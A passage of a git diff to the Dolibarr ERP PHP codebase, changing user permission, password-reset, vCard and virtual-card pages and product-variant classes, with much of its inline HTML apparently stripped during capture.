      '; @@ -332,7 +335,8 @@ if ($result > 0) { $userstatic->email = $obj->email; $userstatic->statut = $obj->status; - print ''.$userstatic->getNomUrl(1); + print ''; + print ''.$userstatic->getNomUrl(1); if ($obj->type == 'email') { if (isValidEmail($obj->email)) { print ' <'.$obj->email.'>'; @@ -359,8 +363,9 @@ if ($result > 0) { $i++; } $db->free($resql); + } else { + print ''.$langs->trans("None").''; } - // List of notifications enabled for fixed email /* foreach($conf->global as $key => $val) { diff --git a/htdocs/user/param_ihm.php b/htdocs/user/param_ihm.php index 3d2e3240ce3..9d42e210ada 100644 --- a/htdocs/user/param_ihm.php +++ b/htdocs/user/param_ihm.php @@ -214,6 +214,37 @@ if (isModEnabled('agenda')) { if (isModEnabled('ticket')) { $tmparray['ticket/list.php?mainmenu=ticket&leftmenu='] = 'Tickets'; } +// add bookmarks to available landing pages +if (empty($conf->global->MAIN_NO_BOOKMARKS_FOR_LANDING_PAGES)) { + $sql = "SELECT b.rowid, b.fk_user, b.url, b.title"; + $sql .= " FROM ".MAIN_DB_PREFIX."bookmark as b"; + $sql .= " WHERE b.entity IN (".getEntity('bookmark').")"; + $sql .= " AND b.url NOT LIKE 'http%'"; + if (!$object->admin) { + $sql .= " AND (b.fk_user = ".((int) $object->id)." OR b.fk_user is NULL OR b.fk_user = 0)"; + } + $resql = $db->query($sql); + if ($resql) { + $i = 0; + $num_rows = $db->num_rows($resql); + while ($i < $num_rows) { + $obj = $db->fetch_object($resql); + $landing_url = str_replace(DOL_URL_ROOT, '', $obj->url); + $tmparray[$landing_url] = $obj->title; + $i++; + } + } +} + +// Hook for insertion new items in the List of possible landing pages +$reshook = $hookmanager->executeHooks('addToLandingPageList', $tmparray, $object); +if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); +} elseif ($reshook > 0) { + $tmparray=$hookmanager->resArray; +} elseif ($reshook == 0) { + $tmparray=array_merge($tmparray, $hookmanager->resArray); +} $head = user_prepare_head($object); @@ -343,10 +374,13 @@ if ($action == 'edit') { $linkback = ''.$langs->trans("BackToList").''; - $morehtmlref = ''; + $morehtmlref = ''; $morehtmlref .= img_picto($langs->trans("Download").' '.$langs->trans("VCard"), 'vcard.png', 'class="valignmiddle marginleftonly paddingrightonly"'); $morehtmlref .= ''; + $urltovirtualcard = '/user/virtualcard.php?id='.((int) $object->id); + $morehtmlref .= dolButtonToOpenUrlInDialogPopup('publicvirtualcard', $langs->trans("PublicVirtualCardUrl").' - '.$object->getFullName($langs), img_picto($langs->trans("PublicVirtualCardUrl"), 'card', 'class="valignmiddle marginleftonly paddingrightonly"'), $urltovirtualcard, '', 'nohover'); + dol_banner_tab($object, 'id', $linkback, $user->hasRight("user", "user", "read") || $user->admin, 'rowid', 'ref', $morehtmlref); print '
      '; diff --git a/htdocs/user/passwordforgotten.php b/htdocs/user/passwordforgotten.php index 96054b0d802..89c3c095e05 100644 --- a/htdocs/user/passwordforgotten.php +++ b/htdocs/user/passwordforgotten.php @@ -30,7 +30,7 @@ require '../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/contact/class/contact.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/usergroups.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/functions2.lib.php'; -if (!empty($conf->ldap->enabled)) { +if (isModEnabled('ldap')) { require_once DOL_DOCUMENT_ROOT.'/core/class/ldap.class.php'; } @@ -90,7 +90,7 @@ if (empty($reshook)) { // Validate new password if ($action == 'validatenewpassword' && $username && $passworduidhash) { $edituser = new User($db); - $result = $edituser->fetch('', $username); + $result = $edituser->fetch('', $username, '', 0, $conf->entity); if ($result < 0) { $message = '
      '.dol_escape_htmltag($langs->trans("ErrorTechnicalError")).'
      '; } else { @@ -126,9 +126,9 @@ if (empty($reshook)) { $isanemail = preg_match('/@/', $username); $edituser = new User($db); - $result = $edituser->fetch('', $username, '', 1); + $result = $edituser->fetch('', $username, '', 1, $conf->entity); if ($result == 0 && $isanemail) { - $result = $edituser->fetch('', '', '', 1, -1, $username); + $result = $edituser->fetch('', '', '', 1, $conf->entity, $username); } // Set the message to show (must be the same if login/email exists or not @@ -142,10 +142,12 @@ if (empty($reshook)) { $messagewarning .= '
      '; if ($result <= 0 && $edituser->error == 'USERNOTFOUND') { + usleep(20000); // add delay to simulate setPassword and send_password actions delay $message .= $messagewarning; $username = ''; } else { if (empty($edituser->email)) { + usleep(20000); // add delay to simulate setPassword and send_password actions delay $message .= $messagewarning; } else { $newpassword = $edituser->setPassword($user, '', 1); diff --git a/htdocs/user/perms.php b/htdocs/user/perms.php index 6dca3bdca83..a01c73d00af 100644 --- a/htdocs/user/perms.php +++ b/htdocs/user/perms.php @@ -44,6 +44,7 @@ $action = GETPOST('action', 'aZ09'); $confirm = GETPOST('confirm', 'alpha'); $module = GETPOST('module', 'alpha'); $rights = GETPOST('rights', 'int'); +$updatedmodulename = GETPOST('updatedmodulename', 'alpha'); $contextpage = GETPOST('contextpage', 'aZ') ?GETPOST('contextpage', 'aZ') : 'userperms'; // To manage different context of search if (!isset($id) || empty($id)) { @@ -215,13 +216,29 @@ if ($result) { dol_print_error($db); } -// Lecture des droits groupes +// Read the permissions of a user inherited by its groups $permsgroupbyentity = array(); -$sql = "SELECT DISTINCT gr.fk_id, gu.entity"; +$sql = "SELECT DISTINCT gr.fk_id, gu.entity"; // fk_id are permission id and entity is entity of the group $sql .= " FROM ".MAIN_DB_PREFIX."usergroup_rights as gr,"; -$sql .= " ".MAIN_DB_PREFIX."usergroup_user as gu"; -$sql .= " WHERE gr.entity = ".((int) $entity); +$sql .= " ".MAIN_DB_PREFIX."usergroup_user as gu"; // all groups of a user +$sql .= " WHERE 1 = 1"; +// A very strange business rules. Must be same than into user->getrights() user/perms.php and user/group/perms.php +if (!empty($conf->global->MULTICOMPANY_BACKWARD_COMPATIBILITY)) { + if (isModEnabled('multicompany') && !empty($conf->global->MULTICOMPANY_TRANSVERSE_MODE)) { + $sql .= " AND gu.entity IN (0,".$conf->entity.")"; + } else { + //$sql .= " AND r.entity = ".((int) $conf->entity); + } +} else { + $sql .= " AND gr.entity = ".((int) $conf->entity); // Only groups created in current entity + // The entity on the table usergroup_user should be useless and should never be used because it is alreay into gr and r. + // but when using MULTICOMPANY_TRANSVERSE_MODE, we may insert record that make rubbish result due to duplicate record of + // other entities, so we are forced to add a filter here + $sql .= " AND gu.entity IN (0,".$conf->entity.")"; + //$sql .= " AND r.entity = ".((int) $conf->entity); // Only permission of modules enabled in current entity +} +// End of strange business rule $sql .= " AND gr.fk_usergroup = gu.fk_usergroup"; $sql .= " AND gu.fk_user = ".((int) $object->id); @@ -244,6 +261,7 @@ if ($result) { } + /* * Part to add/remove permissions */ @@ -254,10 +272,13 @@ if ($user->hasRight("user", "user", "read") || $user->admin) { $linkback = ''.$langs->trans("BackToList").''; } -$morehtmlref = ''; +$morehtmlref = ''; $morehtmlref .= img_picto($langs->trans("Download").' '.$langs->trans("VCard"), 'vcard.png', 'class="valignmiddle marginleftonly paddingrightonly"'); $morehtmlref .= ''; +$urltovirtualcard = '/user/virtualcard.php?id='.((int) $object->id); +$morehtmlref .= dolButtonToOpenUrlInDialogPopup('publicvirtualcard', $langs->trans("PublicVirtualCardUrl").' - '.$object->getFullName($langs), img_picto($langs->trans("PublicVirtualCardUrl"), 'card', 'class="valignmiddle marginleftonly paddingrightonly"'), $urltovirtualcard, '', 'nohover'); + dol_banner_tab($object, 'id', $linkback, $user->hasRight("user", "user", "read") || $user->admin, 'rowid', 'ref', $morehtmlref); @@ -267,7 +288,7 @@ print '
      '; print ''; // Login -print ''; +print ''; if (!empty($object->ldap_sid) && $object->statut == 0) { print ''."\n"; +// Type +print ''."\n"; + print '
      '.$langs->trans("Login").'
      '.$langs->trans("Login").''; print $langs->trans("LoginAccountDisableInDolibarr"); @@ -287,6 +308,23 @@ if (!empty($object->ldap_sid) && $object->statut == 0) { } print '
      '; +$text = $langs->trans("Type"); +print $form->textwithpicto($text, $langs->trans("InternalExternalDesc")); +print ''; +$type = $langs->trans("Internal"); +if ($object->socid > 0) { + $type = $langs->trans("External"); +} +print ''; +print $type; +if ($object->ldap_sid) { + print ' ('.$langs->trans("DomainUser").')'; +} +print ''; +print '
      '; print '
      '; @@ -306,6 +344,8 @@ if ($reshook < 0) { setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); } +$listofexpandedmodules = array(); + print "\n"; print '
      '; @@ -313,20 +353,22 @@ print ''; print ''; print ''; -if (($caneditperms && empty($objMod->rights_admin_allowed)) || empty($object->admin)) { - if ($caneditperms) { - print ''; - } - print ''; -} -print ''; -if ($user->admin) { - print ''; +if ($caneditperms) { + print ''; +} else { + print ''; } +print ''; +print ''; +print ''; print ''."\n"; @@ -408,9 +450,13 @@ $sql .= " ORDER BY r.family_position, r.module_position, r.module, r.id"; $result = $db->query($sql); if ($result) { $num = $db->num_rows($result); - $i = 0; + $i = 0; $j = 0; $oldmod = ''; + $cookietohidegroup = (empty($_COOKIE["DOLUSER_PERMS_HIDE_GRP"]) ? '' : preg_replace('/^,/', '', $_COOKIE["DOLUSER_PERMS_HIDE_GRP"])); + $cookietohidegrouparray = explode(',', $cookietohidegroup); + //var_dump($cookietohidegrouparray); + while ($i < $num) { $obj = $db->fetch_object($result); @@ -460,105 +506,186 @@ if ($result) { } */ + if (GETPOSTISSET('forbreakperms_'.$obj->module)) { + $ishidden = GETPOST('forbreakperms_'.$obj->module, 'int'); + } elseif (in_array($j, $cookietohidegrouparray)) { // If j is among list of hidden group + $ishidden = 1; + } else { + $ishidden = 0; + } + $isexpanded = ! $ishidden; + //var_dump("isexpanded=".$isexpanded); + + $permsgroupbyentitypluszero = array(); + if (!empty($permsgroupbyentity[0])) { + $permsgroupbyentitypluszero = array_merge($permsgroupbyentitypluszero, $permsgroupbyentity[0]); + } + if (!empty($permsgroupbyentity[$entity])) { + $permsgroupbyentitypluszero = array_merge($permsgroupbyentitypluszero, $permsgroupbyentity[$entity]); + } + //var_dump($permsgroupbyentitypluszero); + // Break found, it's a new module to catch if (isset($obj->module) && ($oldmod <> $obj->module)) { $oldmod = $obj->module; + $j++; + if (GETPOSTISSET('forbreakperms_'.$obj->module)) { + $ishidden = GETPOST('forbreakperms_'.$obj->module, 'int'); + } elseif (in_array($j, $cookietohidegrouparray)) { // If j is among list of hidden group + $ishidden = 1; + } else { + $ishidden = 0; + } + $isexpanded = ! $ishidden; + //var_dump('$obj->module='.$obj->module.' isexpanded='.$isexpanded); + // Break detected, we get objMod $objMod = $modules[$obj->module]; $picto = ($objMod->picto ? $objMod->picto : 'generic'); // Show break line - print ''; - print ''; + // Picto and label of module + print ''; + // Permission and tick (2 columns) if (($caneditperms && empty($objMod->rights_admin_allowed)) || empty($object->admin)) { if ($caneditperms) { - print ''; + print ''; + } else { + print ''; + print ''; } - print ''; } else { if ($caneditperms) { - print ''; + print ''; + print ''; + } else { + print ''; + print ''; } - print ''; } - print ''; - - // Permission id - if ($user->admin) { - print ''; - } - + // Description of permission (2 columns) + print ''; + print ''; //Add picto + / - when open en closed print ''."\n"; } print ''."\n"; - print ''; + print ''; // Picto and label of module print ''; - // Permission and tick + // Permission and tick (2 columns) if (!empty($object->admin) && !empty($objMod->rights_admin_allowed)) { // Permission granted because admin if ($caneditperms) { print ''; + } else { + print ''; } print ''; } elseif (in_array($obj->id, $permsuser)) { // Permission granted by user if ($caneditperms) { - print ''; + } else { + print ''; } print ''; - } elseif (isset($permsgroupbyentity[$entity]) && is_array($permsgroupbyentity[$entity])) { - if (in_array($obj->id, $permsgroupbyentity[$entity])) { // Permission granted by group + } elseif (isset($permsgroupbyentitypluszero) && is_array($permsgroupbyentitypluszero)) { + if (in_array($obj->id, $permsgroupbyentitypluszero)) { // Permission granted by group if ($caneditperms) { print ''; + } else { + print ''; } print ''; } else { // Do not own permission if ($caneditperms) { - print ''; + } else { + print ''; } print ''; } } else { // Do not own permission if ($caneditperms) { - print ''; + } else { + print ''; } - print ''; + print ''; } - // Description of permission + // Description of permission (2 columns) $permlabel = (!empty($conf->global->MAIN_USE_ADVANCED_PERMS) && ($langs->trans("PermissionAdvanced".$obj->id) != ("PermissionAdvanced".$obj->id)) ? $langs->trans("PermissionAdvanced".$obj->id) : (($langs->trans("Permission".$obj->id) != ("Permission".$obj->id)) ? $langs->trans("Permission".$obj->id) : $langs->trans($obj->label))); - print '
      '.$langs->trans("Module").''; - print ''.$langs->trans("All").""; - print ' / '; - print ''.$langs->trans("None").""; - print ' '.$langs->trans("Permissions").''; + print ''.$langs->trans("All").""; + print ' / '; + print ''.$langs->trans("None").""; + print ''; +print ''.img_picto('', 'folder-open', 'class="paddingright"').''.$langs->trans("ExpandAll").''; +print ' | '; +print ''.img_picto('', 'folder', 'class="paddingright"').''.$langs->trans("UndoExpandAll").''; +print '
      '; + print '
      '; + print ''; print img_object('', $picto, 'class="pictoobjectwidth paddingright"').' '.$objMod->getName(); print ''; print ''; - print 'module.'&confirm=yes">'.$langs->trans("All").""; + print ''; + print ''; print ''; + print '    '; + /*print 'module.'&confirm=yes&updatedmodulename='.$obj->module.'">'.$langs->trans("All").""; + print ' / '; + print 'module.'&confirm=yes&updatedmodulename='.$obj->module.'">'.$langs->trans("None").""; + */ + print ''; + print '    '; + print ''; + print ''; + print '
      '; print '
      '; +print ''; + +print ''; + $parameters = array(); $reshook = $hookmanager->executeHooks('insertExtraFooter', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks if ($reshook < 0) { diff --git a/htdocs/user/vcard.php b/htdocs/user/vcard.php index 44b7fda1e05..695cd0e556e 100644 --- a/htdocs/user/vcard.php +++ b/htdocs/user/vcard.php @@ -1,6 +1,6 @@ - * Copyright (C) 2004-2010 Laurent Destailleur + * Copyright (C) 2004-2023 Laurent Destailleur * Copyright (C) 2005-2012 Regis Houssin * Copyright (C) 2020 Tobias Sekan * Copyright (C) 2021-2022 Anthony Berton @@ -21,8 +21,8 @@ /** * \file htdocs/user/vcard.php - * \ingroup societe - * \brief Onglet vcard d'un user + * \ingroup user + * \brief Page to return a user vcard */ // Load Dolibarr environment @@ -31,9 +31,6 @@ require_once DOL_DOCUMENT_ROOT.'/user/class/user.class.php'; require_once DOL_DOCUMENT_ROOT.'/societe/class/societe.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/vcard.class.php'; -$user2 = new User($db); - - $id = GETPOST('id', 'int'); // Security check @@ -44,101 +41,38 @@ if ($user->socid > 0) { $feature2 = 'user'; $result = restrictedArea($user, 'user', $id, 'user', $feature2); - -$result = $user2->fetch($id); +$object = new User($db); +$result = $object->fetch($id); if ($result <= 0) { - dol_print_error($user2->error); + dol_print_error($object->error); exit; } -$physicalperson = 1; - +// Data from linked company $company = new Societe($db); -if ($user2->socid) { - $result = $company->fetch($user2->socid); +if ($object->socid > 0) { + $result = $company->fetch($object->socid); } + +/* + * View + */ + // We create VCard $v = new vCard(); -$v->setProdId('Dolibarr '.DOL_VERSION); - -$v->setUid('DOLIBARR-USERID-'.$user2->id); -$v->setName($user2->lastname, $user2->firstname, "", $user2->civility_code, ""); -$v->setFormattedName($user2->getFullName($langs, 1)); - -$v->setPhoneNumber($user2->office_phone, "TYPE=WORK;VOICE"); -$v->setPhoneNumber($user2->personal_mobile, "TYPE=HOME;VOICE"); -$v->setPhoneNumber($user2->user_mobile, "TYPE=CELL;VOICE"); -$v->setPhoneNumber($user2->office_fax, "TYPE=WORK;FAX"); - -$country = $user2->country_code ? $user2->country : ''; - -$v->setAddress("", "", $user2->address, $user2->town, $user2->state, $user2->zip, $country, "TYPE=WORK;POSTAL"); -$v->setLabel("", "", $user2->address, $user2->town, $user2->state, $user2->zip, $country, "TYPE=WORK"); - -$v->setEmail($user2->email, "TYPE=WORK"); -$v->setNote($user2->note_public); -$v->setTitle($user2->job); - -// Data from linked company -if ($company->id) { - $v->setURL($company->url, "TYPE=WORK"); - if (!$user2->office_phone) { - $v->setPhoneNumber($company->phone, "TYPE=WORK;VOICE"); - } - if (!$user2->office_fax) { - $v->setPhoneNumber($company->fax, "TYPE=WORK;FAX"); - } - if (!$user2->zip) { - $v->setAddress("", "", $company->address, $company->town, $company->state, $company->zip, $company->country, "TYPE=WORK;POSTAL"); - } - - // when company e-mail is empty, use only user e-mail - if (empty(trim($company->email))) { - // was set before, don't set twice - } elseif (empty(trim($user2->email))) { - // when user e-mail is empty, use only company e-mail - $v->setEmail($company->email, "TYPE=WORK"); - } elseif (strtolower(end(explode("@", $user2->email))) == strtolower(end(explode("@", $company->email)))) { - // when e-mail domain of user and company are the same, use user e-mail at first (and company e-mail at second) - $v->setEmail($user2->email, "TYPE=WORK"); - - // support by Microsoft Outlook (2019 and possible earlier) - $v->setEmail($company->email, 'INTERNET'); - } else { - // when e-mail of user and company complete different use company e-mail at first (and user e-mail at second) - $v->setEmail($company->email, "TYPE=WORK"); - - // support by Microsoft Outlook (2019 and possible earlier) - $v->setEmail($user2->email, 'INTERNET'); - } - - // Si user lie a un tiers non de type "particulier" - if ($company->typent_code != 'TE_PRIVATE') { - $v->setOrg($company->name); - } -} - -// Personal informations -$v->setPhoneNumber($user2->personal_mobile, "TYPE=HOME;VOICE"); -if ($user2->birth) { - $v->setBirthday($user2->birth); -} - -$db->close(); - -// Renvoi la VCard au navigateur - -$output = $v->getVCard(); +$output = $v->buildVCardString($object, $company, $langs); $filename = trim(urldecode($v->getFileName())); // "Nom prenom.vcf" $filenameurlencoded = dol_sanitizeFileName(urlencode($filename)); //$filename = dol_sanitizeFileName($filename); +top_httphead('text/x-vcard; name="'.$filename.'"'); header("Content-Disposition: attachment; filename=\"".$filename."\""); header("Content-Length: ".dol_strlen($output)); header("Connection: close"); -header("Content-Type: text/x-vcard; name=\"".$filename."\""); print $output; + +$db->close(); diff --git a/htdocs/user/virtualcard.php b/htdocs/user/virtualcard.php new file mode 100644 index 00000000000..ee47afffc0e --- /dev/null +++ b/htdocs/user/virtualcard.php @@ -0,0 +1,334 @@ + + * Copyright (C) 2005-2015 Regis Houssin + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file htdocs/user/virtualcard.php + * \ingroup core + * \brief Page to setup a virtual card + */ + +// Load Dolibarr environment +require '../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/functions2.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/usergroups.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/user/class/user.class.php'; + +// Load translation files required by page +$langs->loadLangs(array("users", "companies", "admin", "website")); + +// Security check +$id = GETPOST('id', 'int'); +$ref = GETPOST('ref', 'alpha'); +$action = GETPOST('action', 'aZ09'); +$dol_openinpopup = GETPOST('dol_openinpopup', 'aZ09'); + +if (empty($id) && empty($ref)) { + $id = $user->id; +} + +$object = new User($db); +if ($id > 0 || !empty($ref)) { + $result = $object->fetch($id, $ref, '', 1); + $object->getrights(); +} + +// Security check +$socid = 0; +if ($user->socid > 0) { + $socid = $user->socid; +} +$feature2 = (($socid && $user->rights->user->self->creer) ? '' : 'user'); + +$result = restrictedArea($user, 'user', $id, 'user&user', $feature2); + +// If user is not the user that read and has no permission to read other users, we stop +if (($object->id != $user->id) && empty($user->rights->user->user->lire)) { + accessforbidden(); +} + +/* + * Actions + */ + +if ($action == 'update') { + $tmparray = array(); + $tmparray['USER_PUBLIC_HIDE_PHOTO'] = (GETPOST('USER_PUBLIC_HIDE_PHOTO') ? 1 : 0); + $tmparray['USER_PUBLIC_HIDE_JOBPOSITION'] = (GETPOST('USER_PUBLIC_HIDE_JOBPOSITION') ? 1 : 0); + $tmparray['USER_PUBLIC_HIDE_EMAIL'] = (GETPOST('USER_PUBLIC_HIDE_EMAIL') ? 1 : 0); + $tmparray['USER_PUBLIC_HIDE_OFFICE_PHONE'] = (GETPOST('USER_PUBLIC_HIDE_OFFICE_PHONE') ? 1 : 0); + $tmparray['USER_PUBLIC_HIDE_OFFICE_FAX'] = (GETPOST('USER_PUBLIC_HIDE_OFFICE_FAX') ? 1 : 0); + $tmparray['USER_PUBLIC_HIDE_USER_MOBILE'] = (GETPOST('USER_PUBLIC_HIDE_USER_MOBILE') ? 1 : 0); + $tmparray['USER_PUBLIC_HIDE_BIRTH'] = (GETPOST('USER_PUBLIC_HIDE_BIRTH') ? 1 : 0); + $tmparray['USER_PUBLIC_HIDE_SOCIALNETWORKS'] = (GETPOST('USER_PUBLIC_HIDE_SOCIALNETWORKS') ? 1 : 0); + $tmparray['USER_PUBLIC_HIDE_ADDRESS'] = (GETPOST('USER_PUBLIC_HIDE_ADDRESS') ? 1 : 0); + $tmparray['USER_PUBLIC_HIDE_COMPANY'] = (GETPOST('USER_PUBLIC_HIDE_COMPANY') ? 1 : 0); + $tmparray['USER_PUBLIC_MORE'] = (GETPOST('USER_PUBLIC_MORE') ? GETPOST('USER_PUBLIC_MORE') : ''); + + dol_set_user_param($db, $conf, $object, $tmparray); +} + +if ($action == 'setUSER_ENABLE_PUBLIC') { + if (GETPOST('value')) { + $tmparray = array('USER_ENABLE_PUBLIC' => 1); + } else { + $tmparray = array('USER_ENABLE_PUBLIC' => 0); + } + dol_set_user_param($db, $conf, $object, $tmparray); +} + + +/* + * View + */ + +$form = new Form($db); + +$person_name = !empty($object->firstname) ? $object->lastname.", ".$object->firstname : $object->lastname; +$title = $person_name." - ".$langs->trans('Info'); +$help_url = ''; +llxHeader('', $title, $help_url); + +$head = user_prepare_head($object); + +$title = $langs->trans("User"); +//print dol_get_fiche_head($head, 'info', $title, -1, 'user'); + + +$linkback = ''; + +if ($user->rights->user->user->lire || $user->admin) { + $linkback = ''.$langs->trans("BackToList").''; +} + +$morehtmlref = ''; +$morehtmlref .= img_picto($langs->trans("Download").' '.$langs->trans("VCard"), 'vcard.png', 'class="valignmiddle marginleftonly paddingrightonly"'); +$morehtmlref .= ''; + +$urltovirtualcard = '/user/virtualcard.php?id='.((int) $object->id); +$morehtmlref .= dolButtonToOpenUrlInDialogPopup('publicvirtualcard', $langs->trans("PublicVirtualCardUrl").' - '.$object->getFullName($langs), img_picto($langs->trans("PublicVirtualCardUrl"), 'card', 'class="valignmiddle marginleftonly paddingrightonly"'), $urltovirtualcard, '', 'nohover'); + +//dol_banner_tab($object, 'id', $linkback, $user->rights->user->user->lire || $user->admin, 'rowid', 'ref', $morehtmlref); + + +print '
      '; + +print '
      '; + +if (!getDolUserInt('USER_ENABLE_PUBLIC', 0, $object)) { + print ''.$langs->trans("UserPublicPageDesc").'

      '; +} + +$param = '&id='.((int) $object->id); +$param .= '&dol_openinpopup=1'; + +$enabledisablehtml = $langs->trans("EnablePublicVirtualCard").' '; +if (!getDolUserInt('USER_ENABLE_PUBLIC', 0, $object)) { + // Button off, click to enable + $enabledisablehtml .= ''; + $enabledisablehtml .= img_picto($langs->trans("Disabled"), 'switch_off'); + $enabledisablehtml .= ''; +} else { + // Button on, click to disable + $enabledisablehtml .= ''; + $enabledisablehtml .= img_picto($langs->trans("Activated"), 'switch_on'); + $enabledisablehtml .= ''; +} +print $enabledisablehtml; +print ''; + +print '

      '; + +print ''; + +if (getDolUserInt('USER_ENABLE_PUBLIC', 0, $object)) { + print ''; + print ''; + print ''; + + + print '
      '; + + + //print $langs->trans('FollowingLinksArePublic').'
      '; + print img_picto('', 'globe').' '.$langs->trans('PublicVirtualCardUrl').'
      '; + + $fullexternaleurltovirtualcard = $object->getOnlineVirtualCardUrl('', 'external'); + $fullinternalurltovirtualcard = $object->getOnlineVirtualCardUrl('', 'internal'); + + print ''; + print ajax_autoselect('publicurluser'); + + print '
      '; + print '
      '; + + // Show/Hide options + print '
      '; + print img_picto('', 'setup', 'class="pictofixedwidth"').''.$langs->trans("ShowAdvancedOptions").'...'; + print '
      '; + + print ''; + + // Start div hide/Show + print ''; // End hide/show + + print '
      '; + + // Preview + print '
      '; + print ''.$langs->trans("Preview").'
      '; + print ''; + print '
      '; + + print '
      '; +} + + +print ''; + +print '
      '; + + +// End of page +llxFooter(); +$db->close(); diff --git a/htdocs/variants/ajax/get_attribute_values.php b/htdocs/variants/ajax/get_attribute_values.php index 1867eb368de..3950a262500 100644 --- a/htdocs/variants/ajax/get_attribute_values.php +++ b/htdocs/variants/ajax/get_attribute_values.php @@ -83,4 +83,4 @@ if ($res == -1) { exit(); } -print json_encode($res); +print json_encode($res, JSON_PARTIAL_OUTPUT_ON_ERROR); diff --git a/htdocs/variants/card.php b/htdocs/variants/card.php index ca026bef4a4..8daf1239deb 100644 --- a/htdocs/variants/card.php +++ b/htdocs/variants/card.php @@ -305,7 +305,7 @@ if ($action == 'create') { // Show object lines $result = $object->getLinesArray(); - print load_fiche_titre($langs->trans("PossibleValues") . (!empty($object->lines) ? ' (' . count($object->lines) . ')' : '')); + print load_fiche_titre($langs->trans("PossibleValues") . (!empty($object->lines) ? '(' . count($object->lines) . ')' : '')); print '
      @@ -327,25 +327,10 @@ if ($action == 'create') { print '
      '; if (!empty($object->lines) || ($permissiontoedit && $action != 'selectlines' && $action != 'editline')) { - print ''; + print '
      '; } - // Form to add new line - if ($permissiontoedit && $action != 'selectlines') { - if ($action != 'editline') { - // Add products/services form - - $parameters = array(); - $reshook = $hookmanager->executeHooks('formAddObjectLine', $parameters, $object, $action); // Note that $action and $object may have been modified by hook - if ($reshook < 0) setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); - if (empty($reshook)) - $object->formAddObjectLine(1, $mysoc, $soc); - } - } - - if (!empty($object->lines)) { - $object->printObjectLines($action, $mysoc, null, GETPOST('lineid', 'int'), 1); - } + $object->printObjectLines($action, $mysoc, null, GETPOST('lineid', 'int'), 1, '/variants/tpl', ($permissiontoedit ? 1 : 0)); if (!empty($object->lines) || ($permissiontoedit && $action != 'selectlines' && $action != 'editline')) { print '
      '; diff --git a/htdocs/variants/class/ProductAttribute.class.php b/htdocs/variants/class/ProductAttribute.class.php index fc96f247e63..194bf16b33f 100644 --- a/htdocs/variants/class/ProductAttribute.class.php +++ b/htdocs/variants/class/ProductAttribute.class.php @@ -1,6 +1,7 @@ * Copyright (C) 2022 Open-Dsi + * Copyright (C) 2023 Frédéric France * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -104,10 +105,37 @@ class ProductAttribute extends CommonObject 'label' => array('type'=>'varchar(255)', 'label'=>'Label', 'enabled'=>'1', 'position'=>30, 'notnull'=>1, 'visible'=>1, 'searchall'=>1, 'css'=>'minwidth300', 'help'=>"", 'showoncombobox'=>'1',), 'position' => array('type'=>'integer', 'label'=>'Rank', 'enabled'=>1, 'visible'=>0, 'default'=>0, 'position'=>40, 'notnull'=>1,), ); + + /** + * @var int rowid + */ public $id; + + /** + * @var string ref + */ public $ref; + + /** + * @var string external ref + */ public $ref_ext; + + /** + * @var string label + */ public $label; + + /** + * @var int position + * @deprecated + * @see $position + */ + public $rang; + + /** + * @var int position + */ public $position; /** @@ -119,6 +147,11 @@ class ProductAttribute extends CommonObject */ public $line; + /** + * @var int Number of product that use this attribute + */ + public $is_used_by_products; + /** * Constructor @@ -914,7 +947,7 @@ class ProductAttribute extends CommonObject $parameters = array('rowid' => $rowid, 'position' => $position); $action = ''; $reshook = $hookmanager->executeHooks('afterPositionOfAttributeUpdate', $parameters, $this, $action); - return 1; + return ($reshook >= 0 ? 1 : -1); } } @@ -1272,11 +1305,13 @@ class ProductAttribute extends CommonObject * @param int $selected Object line selected * @param int $dateSelector 1=Show also date range input fields * @param string $defaulttpldir Directory where to find the template + * @param int $addcreateline 1=Add create line * @return void */ - public function printObjectLines($action, $seller, $buyer, $selected = 0, $dateSelector = 0, $defaulttpldir = '/variants/tpl') + public function printObjectLines($action, $seller, $buyer, $selected = 0, $dateSelector = 0, $defaulttpldir = '/variants/tpl', $addcreateline = 0) { global $conf, $hookmanager, $langs, $user, $form, $object; + global $mysoc; // TODO We should not use global var for this global $disableedit, $disablemove, $disableremove; @@ -1306,9 +1341,25 @@ class ProductAttribute extends CommonObject } } + + if ($addcreateline) { + // Form to add new line + if ($action != 'selectlines') { + if ($action != 'editline') { + // Add products/services form + + $parameters = array(); + $reshook = $hookmanager->executeHooks('formAddObjectLine', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + if ($reshook < 0) setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); + if (empty($reshook)) + $object->formAddObjectLine(1, $mysoc, $buyer); + } + } + } + $i = 0; - print "\n"; + print "\n"; foreach ($this->lines as $line) { if (is_object($hookmanager)) { // Old code is commented on preceding line. $parameters = array('line' => $line, 'num' => $num, 'i' => $i, 'selected' => $selected, 'table_element_line' => $line->table_element); @@ -1320,7 +1371,7 @@ class ProductAttribute extends CommonObject $i++; } - print "\n"; + print "\n"; } /** diff --git a/htdocs/variants/class/ProductCombination.class.php b/htdocs/variants/class/ProductCombination.class.php index cc767449e75..42e3bdc1530 100644 --- a/htdocs/variants/class/ProductCombination.class.php +++ b/htdocs/variants/class/ProductCombination.class.php @@ -83,6 +83,16 @@ class ProductCombination */ public $variation_ref_ext = ''; + /** + * @var string error + */ + public $error; + + /** + * @var string[] array of errors + */ + public $errors = array(); + /** * Constructor * @@ -506,7 +516,7 @@ class ProductCombination if ($child->label == $parent->label) { // This will trigger only at variant creation time $varlabel = $this->getCombinationLabel($this->fk_product_child); - $child->label = $parent->label.$varlabel; ; + $child->label = $parent->label.$varlabel; } @@ 